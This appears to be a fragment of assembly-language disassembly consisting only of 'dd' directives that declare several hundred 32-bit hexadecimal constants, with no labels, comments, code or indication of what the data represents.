dd 2B341096h, 21586FD0h, 16B06DDFh, 0EAD7CFFCh, 980DBFC7h
dd 0E5201ABDh, 19CDDB4Dh, 887725B9h, 0E6B61733h, 7AAA541Eh
dd 0DBC5EB5h, 85AA44BEh, 7C1116A3h, 7CDB69B4h, 4B21DFB4h
dd 0F063F10Ch, 7200406Fh, 0BCB8E700h, 2DD9D653h, 3A4929D1h
dd 0F65DF773h, 0CC8A78ACh, 2BC48984h, 1BF3AD2Ah, 0F2D1DAD3h
dd 0D7F0304Dh, 0D3D469E6h, 0CB6E409h, 0EE4B5BB4h, 0D6AB6D13h
dd 91345AB6h, 890AABDEh, 12A2782Eh, 549F111Ch, 0F0DCEF91h
dd 8575CEA9h, 0AE09F307h, 0C1AA347Fh, 3A422C30h, 80CC6399h
dd 0FD9D5F1Dh, 7E66E0F9h, 6C88E001h, 0FEC61D16h, 2EBE84B1h
dd 15EDF84Fh, 26958612h, 7BF15701h, 5DFB3C66h, 71C4F413h
dd 0AD5048E9h, 6D65C547h, 0CC257F82h, 88696243h, 70B7B4FDh
dd 0EDC4BCD0h, 0C4AC494Bh, 11669FA0h, 52ACBD99h, 470840EBh
dd 0CE409838h, 9C00C118h, 0D42FD8C9h, 7CDD571Fh, 0A3F253C0h
dd 251D6A14h, 24CDA7D5h, 6E589D0Dh, 0CE7978E9h, 5FA6B636h
dd 0CAFF09EAh, 0FCD14118h, 0EBA417F8h, 4CA9EEE3h, 5E7E16BEh
dd 0CC826FAAh, 2DF928C5h, 0F531228Bh, 109263F2h, 3C02E421h
dd 2D48E215h, 408C8E19h, 0B8007463h, 0AB6F5AFCh, 70A45B1Fh
dd 35CE07Fh, 0A0EC7564h, 10BF870Ah, 91821857h, 0DC3DEE2Ah
dd 75BD3AB7h, 1CE6A559h, 6102FB37h, 24BB95D0h, 0E9073751h
dd 0C2F3131Eh, 0FBECCA5Fh, 0DE0E83C2h, 0A90DC81Ch, 0AFB61E8Ah
dd 0AE1ED5B1h, 1EE99B3Eh, 0B50084AAh, 6CE0CA48h, 4DD87852h
dd 5ACAB71Ch, 471EC835h, 22F18843h, 0EE5B6A8Bh, 64385873h
dd 8346E8A6h, 15B4D6F6h, 24FF5D1Eh, 759ABD59h, 761074B1h
dd 5ED82BE2h, 0DCE8C115h, 8BDA0D90h, 56BBF22Bh, 0C8366647h
dd 7936E1Bh, 0A531349Fh, 1D7A28DAh, 3FE8852h, 0FC34DBA3h
dd 0F7D48D3Ch, 27DA103Ah, 3EC72C6Bh, 1552C573h, 0EDC85045h
dd 77E04C43h, 46B655FEh, 0C60CE1CAh, 0EEE5D516h, 8DA196BCh
dd 0CB7FF0DBh, 3A22046Eh, 0D86C7EBEh, 0EFB98395h, 0AA86A1FEh
dd 0CBDA5092h, 9CC98115h, 769B5F90h, 0A1A47BA9h, 0A9579246h
dd 75B581E9h, 0C167A44h, 1F183CDBh, 328BC03Dh, 787399E6h
dd 3EB6F6A7h, 6858EB43h, 0CFC70704h, 8E20DF88h, 67F0BA1Bh
dd 0B1376983h, 0A93F8D1h, 81E1D99h, 4C93A025h, 9480F8DCh
dd 917880E9h, 0C67F3FF8h, 0CA92B447h, 924EA393h, 452154B6h
dd 64EC2E68h, 0BBC58E60h, 1194B76Ah, 43F69F9Eh, 42319D2Bh
dd 9976A3Ah, 200C958Dh, 0FE3559D9h, 0FBC6B1F9h, 0B3074897h
dd 0AB94A213h, 4A63F79Eh, 374AF46Ch, 0BDABBCECh, 0FF11B288h
dd 0D2E08062h, 661A25A8h, 2387FDBh, 0C3FB32DCh, 959BFEA8h
dd 2C3E0B69h, 0CA3D64Ch, 58F6AFC4h, 0B245090Dh, 4529E440h
dd 0DA6CDB05h, 7DF248A7h, 3A8EA7F5h, 73DFD82Bh, 7B922B53h
dd 0B151997Ah, 0C1290D5Bh, 5BDA0D99h, 8186058Fh, 337E4CD0h
dd 0DC5A4575h, 86DEC786h, 0C4B6F6A8h, 0EB9BDC66h, 371B1C06h
dd 81C6F5D7h, 6CB553C7h, 0A8A1D539h, 7C3E26DEh, 1D5422CCh
dd 0DBE7CBAFh, 0BAEE702Ch, 5BB9C74Ch, 1A86D4EDh, 3E18F9AFh
dd 5407A918h, 23A94638h, 0D43DE25Bh, 9252768Bh, 73CB8759h
dd 11AF8C9h, 4A455E27h, 0EC4C8BD8h, 0BA35347Bh, 0CFF20607h
dd 7BF56EAAh, 854575DBh, 0CE8441EAh, 1891839Ah, 0DE3DBD8Eh
dd 1617B5F8h, 11B3B9CCh, 25D4E963h, 1BCCB9C0h, 870B3952h
dd 98CB00A7h, 4442AB4Dh, 0D7432A88h, 9BFC31B6h, 35EABC58h
dd 700FB583h, 84DAF999h, 0B7F1074Ah, 0FEC1B084h, 0C03C3278h
dd 268F3EFEh, 0ED91B952h, 0D6358F55h, 9D2EBB3Ah, 26AD9C7Fh
dd 0FFE058E7h, 9D6F72F7h, 0C43B58EBh, 0F0B6ED73h, 2434761Bh
dd 0C9755BEh, 9CA8F099h, 0E9597AD2h, 95C37390h, 0F9A83A8Ah
dd 824C0F20h, 6D59216Ch, 0A75FFFD2h, 8D1BA743h, 36819B9Dh
dd 0B712EA52h, 610CF820h, 7E0EAD1Ch, 0A983CEB7h, 9B6E9AF7h
dd 952B8D01h, 29AE6303h, 68440F28h, 0C86FC1DFh, 0E5F0CB82h
dd 0CA653B63h, 4D21F40Fh, 7BC3F395h, 56085A39h, 0C80DF93Fh
dd 930C6D51h, 2DBC87Eh, 0C6C196ABh, 53BF235Ch, 7E687EA7h
dd 0A4E1FC60h, 41BD6114h, 490ECD6Eh, 0C7E96DD7h, 3D90989Ch
dd 0AB71FE7h, 65A472Eh, 4A812D9Ah, 491FD5BEh, 0C8ABA46Bh
dd 8D361DCBh, 0CAD5D797h, 0A29F0361h, 7990F185h, 737AB182h
dd 4B63796Dh, 824FAA3Ah, 184CF1E1h, 0A6D4CE41h, 8238E210h
dd 3F51E0E8h, 35B28575h, 57ACF77Dh, 2324071Ch, 32020DF0h
dd 310F1F7Fh, 99C543AFh, 0F994C887h, 0C282FAE2h, 4141B461h
dd 96DAFE09h, 0FE9EFF18h, 7DAD1568h, 8AEB4693h, 297140DBh
dd 146588F0h, 209F4403h, 38D03C57h, 0CA1172EEh, 0E23FB25Eh
dd 0B75488A4h, 0EA8010CEh, 68102482h, 57363D0Ch, 0AC4064B2h
dd 73760A2Ah, 1CE74AB5h, 0E9558E29h, 1AE58C38h, 91A02B77h
dd 0CF271F64h, 631EB479h, 9AF1F76h, 9A148706h, 3FA8E59h
dd 0AF62BE1Eh, 2FF12B62h, 0DCC5E768h, 16C2F380h, 57180B68h
dd 91252EAFh, 40A78F93h, 0AE48055Eh, 889AF3BBh, 7717A993h
dd 3E109EF2h, 0FD0FD11Dh, 0E6775BBFh, 9D9142B2h, 7DBACCF0h
dd 920E14BAh, 49E8570Ah, 4F964040h, 8822F0FFh, 61DD962Bh
dd 0D97F3FF1h, 69A202B8h, 0BE49C3DFh, 0C52045DCh, 65BE4BEDh
dd 0C67EE444h, 214FDC98h
dd 0CE5F3067h, 5699FEFh, 5D8685BFh, 29E77A6Fh, 491CCC87h
dd 0D4DAE511h, 0F47BC589h, 69A5CE7h, 99F99877h, 0B48AE091h
dd 0BD695D91h, 5B69A77h, 0ECCA2642h, 0ED7E4271h, 0F6678B33h
dd 0DA7E84DFh, 2721433h, 0F42E9D64h, 9C29279Ah, 3E05EB6Dh
dd 666D593h, 0D7E028EEh, 0E47AF245h, 0C8B64E70h, 460ECDB7h
dd 7610E90Bh, 9A725C8Dh, 3B4C683Ch, 72DD337Ah, 0B3911883h
dd 58CD6BDAh, 0D7DEE03Ah, 0B5EFF4CAh, 918899DCh, 4A56426Fh
dd 96ED7675h, 96353B28h, 8733D9D7h, 95D1A6FAh, 0FA84B2EBh
dd 1DF54EA5h, 97D1CC1Bh, 588B86FDh, 9A51A016h, 0BCBEE3FAh
dd 0A2246906h, 8C916C89h, 9AEBE0CCh, 8510FD83h, 0A80F2079h
dd 8956CFEEh, 42E1F198h, 5CA2EB6Ah, 137D83A9h, 92320A4h
dd 4E951088h, 957133C8h, 66D3A914h, 98ED5D0Dh, 43A0456Eh
dd 0B9B3986Eh, 0F3E1B4FEh, 76825F34h, 0C9982714h, 0D803C486h
dd 39EA8FA3h, 69DA7BD1h, 0DA8DD779h, 7FB6A4DBh, 9ED4380h
dd 862F59ADh, 0AE82652h, 0F9B84BBBh, 0DD36EC44h, 88820C1Ch
dd 0CF1C8B2Eh, 818F4C10h, 16F88F07h, 0C8872C90h, 5BD87FF6h
dd 0D7492491h, 1665DCEh, 899B60E0h, 3A1FB4F3h, 329125EDh
dd 65AB97A7h, 95C079D7h, 28BD6BDEh, 1436D0FCh, 5281A8DEh
dd 0B5EBAED6h, 6FBDE1C7h, 0DE0F40CEh, 0DBBF5577h, 4B53E196h
dd 4BBCEDAAh, 58E93368h, 18CEB107h, 23A48182h, 5BB1E42Eh
dd 0AD27CEDAh, 0B432B06Eh, 6E6890BCh, 91849911h, 0F8E9D626h
dd 492C674Ah, 0D25A49FBh, 0F47868D8h, 0BCD97A20h, 34B6DCA8h
dd 0E92170FAh, 915B4268h, 6487DB6Eh, 95E28304h, 3C7AC1B1h
dd 92B1D0D4h, 3176098Bh, 0D4D1354Eh, 0E484BB6Eh, 0D29F6448h
dd 920FEEE3h, 814392Ah, 40112D76h, 4CD99298h, 7A0D580Fh
dd 6003E1BAh, 8119EDC1h, 951D7DABh, 0D400E3E3h, 0E0691DCDh
dd 0D8030B7Fh, 0B99FCBE7h, 82E67899h, 2C70D273h, 0CAF07A09h
dd 0F55E59B1h, 98EFA87h, 55B1DA2Ah, 0AACA3C17h, 0AA2B5EB8h
dd 0C1774DFFh, 8C1ED123h, 7786248Dh, 0F78AE7A8h, 578919F6h
dd 0DE7F5CE0h, 0D5D0EB2Ch, 0C98AE31Ch, 0CF5F3642h, 970D634Dh
dd 2BECD249h, 5F8ABEA2h, 32B0B6Ch, 50B300DCh, 6F00C1BDh
dd 0EA7A6B86h, 3F6FF672h, 92DD0C36h, 0D882C1DCh, 19577123h
dd 0D4EBD860h, 0DB36D62Bh, 58EA4FD4h, 829642E4h, 21812369h
dd 0D848381h, 0CD36155h, 0A971AC8Ch, 0F7F8F9B7h, 0AA8C81DDh
dd 0FA2A9BD0h, 0C295615Dh, 50282205h, 2FDD5B9Eh, 0F2AD0C0Dh
dd 4C9591Fh, 54823343h, 0B8449074h, 8AA7A068h, 88CA9CDAh
dd 56D32C6Ah, 0FE6C59D0h, 1A776D04h, 2D89CF05h, 0F877888Ah
dd 2B9E313Ah, 0D9F71380h, 49662DD6h, 58D20720h, 96954E9Ah
dd 0F67ABFB8h, 5DE2FEAFh, 0E2F1F919h, 71E12EBBh, 0B07483Eh
dd 7756605Dh, 9875C231h, 658B5ED1h, 848924ABh, 0A655E5F6h
dd 0FB34BB8Eh, 0D2D540F6h, 259CDD5Ah, 77077AE0h, 89A51C2Eh
dd 0E5424A4Ch, 3570FDABh, 740DF7D6h, 7656FFC4h, 0C0CC0B9Ch
dd 735F00DCh, 8A4DBDA7h, 0FCF04489h, 66DB974Eh, 0FC58FF42h
dd 0A46D5F86h, 9100E8EFh, 0E8677AA1h, 76C4A4FCh, 73C529CFh
dd 685FD929h, 5AA99CB0h, 66C3DD49h, 0B6B1491Ah, 18608850h
dd 893F49AEh, 0AD9E1B3Bh, 82CEDE8Fh, 3EB3A2A8h, 2849580Eh
dd 90AD395Bh, 7DC65067h, 0E4579D0Eh, 764DC4D7h, 94205E6h
dd 0EF288D9Bh, 1CEE2F06h, 0AAA590EAh, 24DB023Dh, 0C3BFD25Ch
dd 0DF79913h, 0A4D885Bh, 9B0F7159h, 7D6FCB79h, 0DBAB31F2h
dd 7881E969h, 2D751E27h, 52309430h, 82870278h, 60E4F2B2h
dd 0BDDFBBB6h, 89453A1Fh, 16EC1D9Eh, 0A8878C53h, 3280E28Ch
dd 0FC4A255h, 2BF305C9h, 5483E53Dh, 0BEAF881Bh, 0EA8BB2CFh
dd 8FB7F37Dh, 716CA36Eh, 596A0C16h, 0AFA9041Dh, 9B428C58h
dd 0FDE69FDh, 0F9DB0C8Eh, 41EE1029h, 123F8C6Ch, 0F9395B6Ch
dd 7EAF9438h, 416F77A6h, 1A2142D4h, 51A7626Bh, 0E170189Fh
dd 303B947Ah, 22FFE590h, 0F0A4B176h, 3E7FBFCAh, 0F558C71Ah
dd 34D2FB9Dh, 3DB9961Ah, 0C7DD81C9h, 2D5F6130h, 0FA40F8DFh
dd 0A82C1F5Ch, 2AAB2C60h, 69DA5001h, 0E1AEF317h, 0AA922E16h
dd 459900DFh, 7C1538E4h, 56FD8E18h, 0FD73ABCFh, 7DAAA741h
dd 57686D99h, 55FCF413h, 0F95E5708h, 76DA2273h, 0CD13C85h
dd 22886068h, 88E5A4B3h, 377FFC0Eh, 889B86D5h, 0F078972Dh
dd 61CF44B7h, 0EB5B9FBFh, 9F4F265Dh, 0FB2FCE4Fh, 38560478h
dd 0ADF73A6Dh, 81F74541h, 0AC6D8661h, 0E5C5E517h, 4E8F2CE9h
dd 0A5E8BBA0h, 0AAF38256h, 28D17F75h, 86A52EBh, 0C27617FFh
dd 1F337926h, 681A0A4Ch, 0C1545B94h, 0F52F1CB5h, 9F583EDBh
dd 5A0E7B78h, 9F989877h, 0A9BA84E0h, 0DB167C1h, 0ECC9DE66h
dd 9E9FCAA7h, 0FDE4A51Dh, 21AEA0D3h, 0E63CB1E4h, 336D77EDh
dd 453A3525h, 0C3AD780Dh, 58BE6D42h, 0E76BA6E1h, 8FE96FD1h
dd 0BD93EEB2h, 0CA706E44h, 0D4A8E62Dh, 0C105BA6Dh, 4B17ACDFh
dd 29C1A136h, 6BD34753h, 2DC86851h, 0E8D2EE72h, 0F29E73Ah
dd 0A18D874Ah, 0BF807E35h, 6C354997h, 0C2388787h, 1E1ED49h
dd 5E825712h, 11EA48B9h, 0FF33B712h, 0FD7C5993h, 7B991DEEh
dd 0D9C22ED0h, 88EB75ECh, 98717C0Ah, 2350DE98h, 0F7785F09h
dd 9E39275Ch, 0EEB72AADh, 0E06A4D51h, 828D9562h, 0A35B2BE5h
dd 0C023FC15h, 0A3251F93h, 679DE48Ch, 53CE0100h, 82091A82h
dd 37DF69DBh, 84AE6FA2h, 0FE1B8F97h, 0CFCA936Eh, 0F6D028B4h
dd 0E81F955Ah, 5A1C11FCh, 0AE8463EFh, 0DE473E34h, 5F45D32Ah
dd 54368228h, 4B9854h, 653CD3EEh, 69B88B58h, 1ED4075Dh
dd 0C4F524E6h, 0AC11147Eh, 0B1C507F6h, 7C1750D6h, 1483956Ch
dd 8191988Ch, 0FED6C7Dh, 0BFE419DFh, 1CCBAF55h, 693AAC0h
dd 0DDF248F9h, 1C4A79ECh, 38EEF007h, 0A5226DFCh, 0ABB739BEh
dd 63340088h, 1A82168Fh, 0ECE8EDFh, 928A93BBh, 30690991h
dd 0B6652BF2h, 581FCA9Bh, 4664A115h, 7F195513h, 0CE8A7340h
dd 2ACFFC0Ah, 40A92F3Fh, 2F1490Fh, 0C43B21D5h, 4696C432h
dd 0AE56E8E0h, 14FC94BEh, 0E754C3CBh, 0F1F02729h, 577FA2D1h
dd 0EA9F9E63h, 5451CEB1h, 178F5608h, 0DBEE3CEEh, 0CBCA051Eh
dd 0F2E184Ah, 986D75A4h, 8B813F85h, 7E5DCA22h, 896FA98Eh
dd 0A3FDC366h, 8ED6C98Fh, 22D98CADh, 0AB2506BFh, 9CAF5A10h
dd 0D7CFF9Eh, 73D46453h, 0F1AA2BCFh, 54A8C3B1h, 84A3E05h
dd 5DCC634Bh, 3DF7D355h, 60A7735Bh, 0FE46FFD7h, 88518EA0h
dd 0E0A8932Bh, 81695236h, 5A1A6D54h, 0A6495A29h, 670B27C8h
dd 0B5D57F6Fh, 8F082F5Fh, 6B0AB772h, 800D0155h, 45686C9Fh
dd 13B4CBFAh, 0D1F26742h, 26F5F12Bh, 4CBAB9ABh, 1CA84C2Dh
dd 34E9ACC6h, 9FD447DCh, 0A7D0D7CBh, 0EAC6BD0h, 0D216EB76h
dd 70CBA63Ch, 3AE60749h, 1331A335h, 6F68C363h, 1B9846F0h
dd 4606720Dh, 28E73671h, 0C235EA9Bh, 2D18AE75h, 0A2359536h
dd 0F1BF46F3h, 9662553Ch, 0D07D178h, 0FB716426h, 8E6B2952h
dd 9C16A112h, 0F7203A25h, 73434884h, 0E0B2B0A2h, 4423DA3Dh
dd 0FD2477F9h, 0EAB8B3A8h, 0BC6DE168h, 3AA9C905h, 863D3A49h
dd 4691B640h, 0C818676Ch, 8D696124h, 0E0BE6C36h, 0ACD3A32Eh
dd 2CF6B551h, 9983456Ah, 68D74CBAh, 1AD82FA7h, 6FDE3A4Dh
dd 0E226760Bh, 0D52D7837h, 2EDA3413h, 0E47B4AEAh, 7E697FBBh
dd 0DCBBB38Ah, 347F874Fh
dd 112FA3B6h, 74AFB11Ch, 0B2B12641h, 8BC9E912h, 0E18D7776h
dd 185528FDh, 3BB4A010h, 0F3BFE51Eh, 552D4A8Ah, 9C87C8CBh
dd 2C0CDE17h, 57C23FEFh, 69652359h, 0A657906h, 82D45591h
dd 7516E0Bh, 1842F57h, 0B78C0E82h, 0F857BB91h, 0D61A739Fh
dd 37533E3Ah, 77AD45B3h, 0B1E66B34h, 87E226D4h, 40BED8A3h
dd 13AC9FE8h, 0B4345C3Eh, 0F53B4714h, 2526C15Eh, 99143F05h
dd 537D66h, 0D1A26EC1h, 8AE8DC7Eh, 0F5A43617h, 5E80293Fh
dd 56F12BD5h, 1B3A6605h, 0DEB7AD12h, 0A564874Ch, 5165F7F9h
dd 40A1C8F4h, 0D496EC8Dh, 8F80AD3Dh, 58C4CC06h, 0C14332A4h
dd 0A504DB25h, 0E0A5885Ch, 4160A5B5h, 2905ACE9h, 9DBC9A3Eh
dd 1CB03C26h, 435898DEh, 6B7E99CDh, 577FB9AEh, 6D3A30B6h
dd 972BD27Ah, 4D2F462Eh, 49B11E65h, 41E409A0h, 86B95FEBh
dd 0AE0D1700h, 32CDA8B4h, 7FAF306Fh, 915CA025h, 2717C1D3h
dd 565B7D58h, 9034FD05h, 0F6FE67A5h, 8BB4F5BFh, 6DAF1F8Fh
dd 27A2A7C6h, 927A1535h, 3E5B8E9Dh, 26516E52h, 290AAEB0h
dd 2BE35B2Dh, 0FE580D8Bh, 0F41712D7h, 2D00569Dh, 647AC88Ah
dd 0BBA7289Ch, 0C2DE1210h, 113A56C8h, 8007B40Eh, 2AF9C2EBh
dd 0C2D08C22h, 0FF0EBB1Fh, 0EE9064FAh, 0B680EFAAh, 7057A8B7h
dd 0CF1232AFh, 578B1A1Fh, 0D233665Fh, 0AC43879Bh, 70CC5604h
dd 0F9339EDCh, 2B7D945Ah, 0CDD574B5h, 0A6461E08h, 8D748382h
dd 0CA319A13h, 0A01465CBh, 909CF451h, 86A84CC8h, 15CFED8Ch
dd 1717E99Fh, 7E193DF4h, 3C2D8C13h, 1D48F2E0h, 0DA7DB2ADh
dd 752A26B1h, 0EF6E065Dh, 84582FF0h, 96FBF76Fh, 8C26CFEDh
dd 1EFC698Fh, 2598EE5h, 0D25BE8B9h, 69034A9Ah, 0D0B45E83h
dd 975FCF4Ch, 94A9BE1Ah, 7B11DB41h, 246B6DE0h, 7574C362h
dd 6CDD424Eh, 0F91F862Fh, 0FFF00BBBh, 0D3BBA1B3h, 9B725284h
dd 0D94A407h, 3242FEAEh, 3293A092h, 9C379334h, 0BDAB5C44h
dd 0C58706C4h, 8950ECE8h, 0DCEF9C19h, 0B449837Dh, 50F3855Bh
dd 16B57E25h, 73A96D61h, 0F2E8523Ch, 0DC40D64Dh, 55F04B0Eh
dd 0CF47481h, 1AD0F922h, 79ED1BAAh, 0F2B6E6DBh, 19F3F327h
dd 20CC6F53h, 0C1BFDD4Fh, 1BF48F06h, 5BE49DABh, 61BF9B8Eh
dd 0B145EF38h, 0CBA34F9Dh, 0BF52D31Bh, 2A4F4E66h, 0E2D9F699h
dd 50DEDC29h, 99607D5Fh, 772A6208h, 5A82773Eh, 123631Ch
dd 0F37D361Ch, 926762F9h, 0C8DB65CEh, 0DF7FBC17h, 538CE231h
dd 0D18C5C1h, 0A900747Ch, 9A32EBCBh, 0BDAE1C3Eh, 242D6F99h
dd 46621445h, 0F4ACBB73h, 0FAFF8D86h, 3F51821Eh, 0A7E2C87h
dd 4D5D2172h, 712D6130h, 14DFD75Fh, 4692F4ADh, 0D155B92Dh
dd 0E721FA36h, 0BF5F9E9Ah, 7ED6DC65h, 89258D62h, 0B8ECB4F5h
dd 0B369DAEAh, 8A07211Bh, 2D224ADBh, 0F1E2A68Bh, 919EB7CBh
dd 0C3D44C78h, 0C26BAAA2h, 0AD125F53h, 70C1367Eh, 266C612Bh
dd 0FB6F8073h, 493AEEC1h, 2DDF4099h, 0B1BDD546h, 29680C5h
dd 0BEE81CC5h, 0B1ADB519h, 7750C282h, 0CC013322h, 0C8FA94A1h
dd 9F6B45FDh, 666C86Eh, 0E797E406h, 540649B9h, 46AEDCFBh
dd 1D5FECBh, 553A2C4Ch, 0FAF7398h, 0A0CD0EE2h, 6E459F85h
dd 72D3F6BFh, 7C723D24h, 8F2B0244h, 0FD6C8D12h, 6DB98983h
dd 9BA1C40Fh, 63CD7D96h, 57DDCA0h, 0BDFC5072h, 0EA4EE8Bh
dd 6517248Ah, 26B78A0Bh, 178A32B6h, 0D279AEABh, 3FCF8296h
dd 0BD921D10h, 477C1CB1h, 0B1B19A42h, 0F72E3EE2h, 5B26F2D8h
dd 6B467502h, 3F989422h, 0E803C3E7h, 0BAA4C280h, 1D2F5134h
dd 630A7D75h, 0C8EDE106h, 0CBC898C3h, 0CAAAD90Ah, 2E77EFCAh
dd 0EB9E371Fh, 8A2C4B0Fh, 355BFB82h, 0A9A386F5h, 1FED2A12h
dd 195CF774h, 0EE376261h, 63406095h, 96AFB82Bh, 0C2DE0047h
dd 90878B1h, 3646B374h, 4DFA93C5h, 0B26E77C1h, 453D6520h
dd 0BBEDC46Eh, 9E53B097h, 0EB6F56E5h, 30DF8D3Dh, 8D7E2963h
dd 2B1E7CDAh, 311B2E75h, 49A75DCCh, 9C337020h, 0F6C8054Bh
dd 5C443BDFh, 83340601h, 410CA4Ch, 0CEF24E23h, 3D4AE0CBh
dd 43683D68h, 5B868E4Fh, 7E837B80h, 0DFA32958h, 0B24B932Ah
dd 7120A6BAh, 0C5DB62B2h, 0BA6D52D5h, 4219D2C2h, 0B6DAAE96h
dd 24BCA2CEh, 150453D5h, 32C424D7h, 5CDF7B7Ah, 0A2121BA3h
dd 6F619C20h, 171D5BAAh, 0E953F107h, 32ABEA84h, 65D96C88h
dd 9AD63B0Ah, 59040B5Eh, 63C61B2Bh, 0EF0D53F9h, 0BCD3A86Ah
dd 0C49C8769h, 0A7F1ACCEh, 42EAEFB0h, 38B4077Ah, 252EB1FAh
dd 38CEC1C0h, 0B886CD07h, 0DA7B26BEh, 92AEB13h, 108677F0h
dd 0A9FD1F1h, 0DA1CD872h, 0AB997BE1h, 0B15BC71Ah, 0B1EDC12Ah
dd 89EAFAh, 0D3887121h, 0AD6445B5h, 61CB3D2h, 5400B451h
dd 0A108DE77h, 7C7F1834h, 1323D298h, 9B873DAFh, 507D9EB0h
dd 622B3E1h, 0E058D17Eh, 0A17BC6ECh, 4E3B055Bh, 225DB56Eh
dd 6E92B003h, 1686FF4Fh, 6E33628Ch, 78EE0A38h, 71397F5Ah
dd 931B3920h, 0D3CA1FC4h, 69589C36h, 0A5C6F391h, 1E384C1Eh
dd 88BD7007h, 3E5B4E4Bh, 2D28719h, 8FAF39A3h, 0CD80E55Ch
dd 703A336Ah, 0C22983A7h, 1C993855h, 0A47D2D11h, 522E6F4Ah
dd 1789D538h, 0F104E959h, 0AD3DFB54h, 0CC87C2AEh, 41782701h
dd 0BE1B4CAh, 0F7968E83h, 66D00098h, 0E09E4114h, 0E70D1EC6h
dd 68B963A7h, 0B6E587AEh, 200CF6D8h, 8128A4E0h, 0E6F78757h
dd 918C7A1Dh, 0C129B0BCh, 395A6DB7h, 0AA671028h, 0E07D4FF9h
dd 9109E56Eh, 1ADE4DF3h, 771B2DCAh, 0C6BD4CE6h, 54DC0C96h
dd 890CA9A5h, 0DED954CAh, 9E9C3F23h, 1783C449h, 0C5EED5E1h
dd 895A4BC4h, 8124A74h, 1FEC1A65h, 4D6FB10Eh, 0DE7DD3ACh
dd 0E2388247h, 0BE2E2771h, 68BCC3F5h, 0EAC040DDh, 0CFE62020h
dd 0B57E0820h, 710045A3h, 57973025h, 0FC6BAD5Ch, 5D18E067h
dd 291247E9h, 22001AFCh, 9840C8CEh, 814E4h, 0B1DCD1E1h
dd 896049A6h, 425B28F4h, 0DAE1D1FEh, 4B01AACCh, 25A22B73h
dd 0FD9ED46Eh, 2EBF4175h, 0F93D82C5h, 9C0268FBh, 0FAE13637h
dd 0E0B9B7FEh, 59595405h, 48813E0Ch, 4B03E984h, 45BC3C0Ah
dd 399D84B5h, 2889C964h, 16640FC7h, 0F110085Eh, 2E0F1020h
dd 49EECB70h, 0EF5D79DBh, 8640D538h, 6D3FA94Dh, 1EB47716h
dd 0B7BA3135h, 0FD7CAD5h, 0B1DFA1FCh, 0A61B97EDh, 3B5B7E20h
dd 0AA4CFCFCh, 4AB0EDECh, 1A08CBCEh, 23595300h, 360343D3h
dd 13A77C64h, 0B9F80DF6h, 0F84491D6h, 781B91C2h, 42FC8BC2h
dd 9EDC6AA1h, 45FA9B01h, 0A727C6C3h, 648EA5D1h, 5926529Ch
dd 0A44AC252h, 0E22988Ah, 28C72953h, 0D8318B84h, 58B5660Bh
dd 57D0037Bh, 0F9DF7902h, 3BFF94A1h, 1920BD0Fh, 5A738FCAh
dd 81334AD7h, 0A2413587h, 0F1E926D2h, 0AA9FEA8h, 0F17C2EC6h
dd 8221FA44h, 0C65D1D78h, 3E1598C4h, 2C5342E9h, 0C612DAF5h
dd 569E1425h, 0AE207AEDh, 9EE87BD5h, 4411C539h, 0DECACA5h
dd 690BFB97h, 8027B05Ah, 0D67B7167h, 85F59925h, 92B6E035h
dd 5D07989Eh, 2BE8C345h, 8AFB6057h, 9D20C842h, 0AD789184h
dd 498B0B07h, 0B13B204Dh, 3A1C1764h, 0FEFAB61Eh, 0CE33E5CBh
dd 95A4381Ch, 0D55A77AAh, 0E9832324h, 33EEB5C8h, 0BB5D84A7h
dd 490C77A7h, 61BAB604h, 864A7354h, 0CAE3D44Fh, 6180C220h
dd 0B1C31FD9h, 6130194Dh, 160ABEB0h, 82DAEB6Bh, 261AD68Ch
dd 9687EE49h, 6A51C863h, 8D0CFB41h, 393817E4h, 6070D7F1h
dd 4EF05DB2h, 63180234h
dd 0C44059D9h, 0D3243520h, 432DAACCh, 1B6FC289h, 5CECB47Ah
dd 0C5397098h, 0E4749D86h, 0B69315D7h, 0D726E7EAh, 650A0B42h
dd 0FD44B88Ch, 28B71B7Ch, 873F8A45h, 0EF8F1446h, 24D20527h
dd 498173A2h, 0E9CCE881h, 6F37AE94h, 4ED0C3F1h, 5036842Bh
dd 0E7BDB6CFh, 0D2C36D74h, 0C59B3D41h, 45451621h, 71240376h
dd 0A6BA329Ch, 9F9FC57Eh, 9708455Bh, 42980159h, 0BC1B4FAFh
dd 0FABDE07Ch, 0D0C176FDh, 6628C766h, 6002AB21h, 0EC2BC5FFh
dd 55F0FD96h, 0B1C9BA41h, 0BF5F4884h, 0BE74A087h, 0FD284DC2h
dd 13ECE6BCh, 0F97E965Eh, 7CE16E59h, 956B8F87h, 0A72F5B75h
dd 2FE183F0h, 4C9F19EBh, 0D0C67FBAh, 88C85F17h, 0B5780850h
dd 0A47861CBh, 0F3AD55CCh, 0AAD09C1Eh, 3D0F2596h, 0FDF9F08Dh
dd 0B31DDB33h, 20FAE882h, 19C96ED2h, 1B4F2126h, 9D981FFBh
dd 0FCB26E0Eh, 0A807756Ah, 0B7F22913h, 0F5328039h, 0C56E4753h
dd 0FE3948D2h, 4C63510h, 7CB5B28Fh, 70A339E3h, 0F5D09A8Ch
dd 8F7B608h, 4D7B4D21h, 0D31F5DD9h, 6DB29C54h, 1D59E5ACh
dd 0BEE7D96Bh, 0D2139C63h, 7CEB91E6h, 0E5D38384h, 0BC5E9749h
dd 0F26DB077h, 9B9993DCh, 0F27537A1h, 96199775h, 75FA2ECCh
dd 90B7657Eh, 6CAC89C8h, 0D99583B1h, 805DFDC7h, 0C12E674Ah
dd 0A44A740Eh, 4BDD0850h, 0AFCA7A9h, 9F3BFAC6h, 0E33B8282h
dd 70463A4Bh, 4CEAF3D9h, 86079F03h, 67682919h, 67FA9295h
dd 6E340B09h, 599338BFh, 59EA2F14h, 7B223D03h, 991BADAAh
dd 2DC1AED1h, 0E4AD8E25h, 0A90228A7h, 8BFE3A0h, 4469CBEEh
dd 7F38B8BCh, 922DCD1h, 72A7F686h, 308E3B9Bh, 0E905CA4Bh
dd 87D18ACBh, 0FC6304B3h, 7E6544B2h, 42E94A2Ah, 0DA45CEF0h
dd 726C03E0h, 0CA931561h, 0C849B749h, 0A71334DCh, 0CAE1F62Ch
dd 47276C25h, 90B0A41Fh, 588EA7BAh, 84EC2CBEh, 4627C3C1h
dd 0BB7BB3F2h, 2D72CAE0h, 66F76A02h, 13DACD2Ah, 0C26EF410h
dd 3FC5B217h, 8D4310BCh, 0F101D72Ch, 9329434Bh, 5D6543ACh
dd 485BC36Ah, 7CC49F02h, 30FF6FEEh, 5618ACDEh, 42BA2756h
dd 66FDE87Eh, 0F4102AD4h, 0D05F72A8h, 7D1AB424h, 0AC93713h
